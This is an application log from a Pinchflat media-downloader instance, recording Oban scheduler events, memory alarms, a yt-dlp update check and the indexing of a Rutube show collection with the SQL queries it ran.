{"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:55:05.740 [info] {"source":"oban","duration":9248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:35.746 [info] {"source":"oban","duration":4229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.499 [info] {"source":"oban","duration":29223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:56:06.117 [info] {"source":"oban","duration":369299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:29.115 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 13:56:36.120 [info] {"source":"oban","duration":1949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.522 [info] {"source":"oban","duration":6982,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:57:06.140 [info] {"source":"oban","duration":18898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:29.121 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 13:57:36.168 [info] {"source":"oban","duration":25911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.527 [info] {"source":"oban","duration":2909,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:58:06.175 [info] {"source":"oban","duration":4911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:36.183 [info] {"source":"oban","duration":5573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.530 [info] {"source":"oban","duration":1679,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:59:06.193 [info] {"source":"oban","duration":9025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:36.200 [info] {"source":"oban","duration":5886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.533 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:00:06.209 [info] {"source":"oban","duration":7264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:36.212 [info] {"source":"oban","duration":1710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.535 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:01:06.217 [info] {"source":"oban","duration":4079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:36.219 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.539 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:02:06.227 [info] {"source":"oban","duration":6641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:36.717 [info] {"source":"oban","duration":489520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 14:03:00.540 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:03:06.954 [info] {"source":"oban","duration":236379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:36.962 [info] {"source":"oban","duration":6909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.555 [info] {"source":"oban","duration":12467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:04:06.967 [info] {"source":"oban","duration":2785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:36.985 [info] {"source":"oban","duration":16708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.562 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:05:06.987 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:36.991 [info] {"source":"oban","duration":2607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.568 [info] {"source":"oban","duration":2702,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:06:06.996 [info] {"source":"oban","duration":5208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:36.999 [info] {"source":"oban","duration":2114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.576 [info] {"source":"oban","duration":2384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:07:07.001 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:37.005 [info] {"source":"oban","duration":2904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.577 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:08:07.010 [info] {"source":"oban","duration":3855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:37.015 [info] {"source":"oban","duration":3746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.581 [info] {"source":"oban","duration":2681,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:09:07.017 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:37.021 [info] {"source":"oban","duration":3264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.585 [info] {"source":"oban","duration":2986,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:10:07.023 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:37.025 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.587 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:11:07.027 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:37.029 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.588 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:12:07.031 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:37.033 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.589 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:13:07.038 [info] {"source":"oban","duration":3615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:37.039 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.591 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:14:07.041 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:37.043 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.593 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:15:07.046 [info] {"source":"oban","duration":1796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:29.202 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 14:15:37.074 [info] {"source":"oban","duration":26737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.594 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:16:07.076 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:29.206 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 14:16:37.078 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.596 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:17:07.080 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:29.210 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 14:17:37.082 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.597 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:18:07.084 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:29.216 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 14:18:37.092 [info] {"source":"oban","duration":6594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.601 [info] {"source":"oban","duration":3128,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:19:07.093 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:37.100 [info] {"source":"oban","duration":5502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.605 [info] {"source":"oban","duration":3412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:20:07.102 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:37.115 [info] {"source":"oban","duration":12099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.610 [info] {"source":"oban","duration":3951,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:21:07.122 [info] {"source":"oban","duration":5736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:37.124 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.612 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:22:07.130 [info] {"source":"oban","duration":5298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:29.236 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 14:22:37.133 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.618 [info] {"source":"oban","duration":3637,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:23:07.137 [info] {"source":"oban","duration":3009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:37.140 [info] {"source":"oban","duration":2338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.620 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:24:07.143 [info] {"source":"oban","duration":1923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:37.148 [info] {"source":"oban","duration":3127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.626 [info] {"source":"oban","duration":3135,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:25:07.153 [info] {"source":"oban","duration":4668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:29.254 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 14:25:37.155 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.640 [info] {"source":"oban","duration":9978,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:26:07.162 [info] {"source":"oban","duration":6112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:37.166 [info] {"source":"oban","duration":2533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.645 [info] {"source":"oban","duration":2211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:27:07.169 [info] {"source":"oban","duration":2141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:37.171 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.647 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:28:07.173 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:37.175 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.650 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:29:07.178 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:37.180 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.655 [info] {"source":"oban","duration":3240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:30:07.185 [info] {"source":"oban","duration":3814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:37.189 [info] {"source":"oban","duration":3424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.663 [info] {"source":"oban","duration":5554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:31:07.193 [info] {"source":"oban","duration":2996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:37.195 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.665 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:32:07.198 [info] {"source":"oban","duration":1793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:37.200 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.667 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:33:07.204 [info] {"source":"oban","duration":3122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:29.302 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 14:33:37.209 [info] {"source":"oban","duration":4443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.835 [info] {"source":"oban","duration":167359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2220]} 14:34:00.923 [info] {"args":{},"id":2220,"meta":{"cron":true,"cron_expr":"34 11 * * *","cron_tz":"Etc/UTC"},"system_time":1765280040917086866,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 14:34:00.931 [info] Updating yt-dlp 14:34:00.938 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 14:34:02.814 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Latest version: stable@2025.12.08 from yt-dlp/yt-dlp yt-dlp is up to date (stable@2025.12.08 from yt-dlp/yt-dlp) 14:34:02.814 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 14:34:04.170 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2025.12.08 14:34:04.191 [debug] QUERY OK source="settings" db=13.6ms idle=1530.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:34:04.257 [info] {"args":{},"id":2220,"meta":{"cron":true,"cron_expr":"34 11 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":3278472,"event":"job:stop","attempt":1,"queue_time":750635,"tags":["local_data"]} 14:34:07.268 [info] {"source":"oban","duration":57733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:37.270 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.838 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:35:07.273 [info] {"source":"oban","duration":2046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:21.918 [info] {"args":{"id":1},"id":2214,"meta":{},"system_time":1765280121918055512,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 14:35:21.932 [debug] QUERY OK source="sources" db=8.4ms queue=0.1ms idle=1279.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:21.938 [debug] QUERY OK source="settings" db=2.8ms queue=0.1ms idle=1291.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:35:22.246 [debug] QUERY OK source="media_items" db=296.2ms queue=0.1ms idle=1173.6ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 14:35:22.263 [debug] QUERY OK source="media_items" db=16.4ms queue=0.1ms idle=410.4ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 14:35:22.270 [debug] QUERY OK source="media_profiles" db=2.3ms queue=0.1ms idle=349.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:22.279 [debug] QUERY OK source="settings" db=0.5ms idle=347.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:35:22.280 [debug] QUERY OK source="settings" db=0.3ms idle=341.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:35:22.301 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 14:35:22.302 [debug] Current batch of media processed. Will check again in 1000ms 14:35:22.302 [debug] QUERY OK source="settings" db=1.1ms idle=55.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:35:22.303 [debug] QUERY OK source="settings" db=0.3ms idle=39.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:35:22.304 [debug] QUERY OK source="settings" db=0.1ms idle=33.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:35:22.309 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://rutube.ru/metainfo/tv/2328/videos/ --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rutubeShows/4 Свадьбы/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9b/89/9b8952a05eebe80afafe5109c43d39913816664375ee7ca2dcc5a935ce3b516a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:35:23.303 [debug] Current batch of media processed. Will check again in 1000ms 14:35:24.306 [debug] Current batch of media processed. Will check again in 1000ms 14:35:25.311 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 30, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e072200 - Африканская свадьба.mp4", "id" => "1e239066414cbc8fbbc5de68eda8080d", "original_url" => "https://rutube.ru/video/1e239066414cbc8fbbc5de68eda8080d/", "playlist_index" => 1, "timestamp" => 1563797902, "title" => "Африканская свадьба", "upload_date" => "20190722"} 14:35:25.317 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=1672.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:25.323 [debug] QUERY OK source="sources" db=1.0ms queue=0.4ms idle=1678.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:25.330 [debug] QUERY OK source="media_items" db=5.0ms queue=0.4ms idle=1680.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-22 12:18:22Z], 1] 14:35:25.783 [debug] QUERY OK source="media_items" db=445.4ms queue=0.4ms idle=1482.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Африканская свадьба", "9557a9d1-b301-48d8-8d61-65fcc47bfbbc", "1e239066414cbc8fbbc5de68eda8080d", 30, false, "https://rutube.ru/video/1e239066414cbc8fbbc5de68eda8080d/", 1, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e072200 - Африканская свадьба.mp4", false, false, false, 1, [], 1, ~U[2019-07-22 12:18:22Z], ~U[2025-12-09 11:35:25Z], ~U[2025-12-09 11:35:25Z], "", "Африканская свадьба", "1e239066414cbc8fbbc5de68eda8080d", 30, false, "https://rutube.ru/video/1e239066414cbc8fbbc5de68eda8080d/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e072200 - Африканская свадьба.mp4", false, 1, ~U[2019-07-22 12:18:22Z]] 14:35:25.806 [debug] QUERY OK source="sources" db=20.3ms queue=0.3ms idle=930.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:25.815 [debug] QUERY OK source="media_profiles" db=4.6ms queue=3.1ms idle=489.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:25.827 [debug] QUERY OK source="media_items" db=6.6ms queue=0.2ms idle=496.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 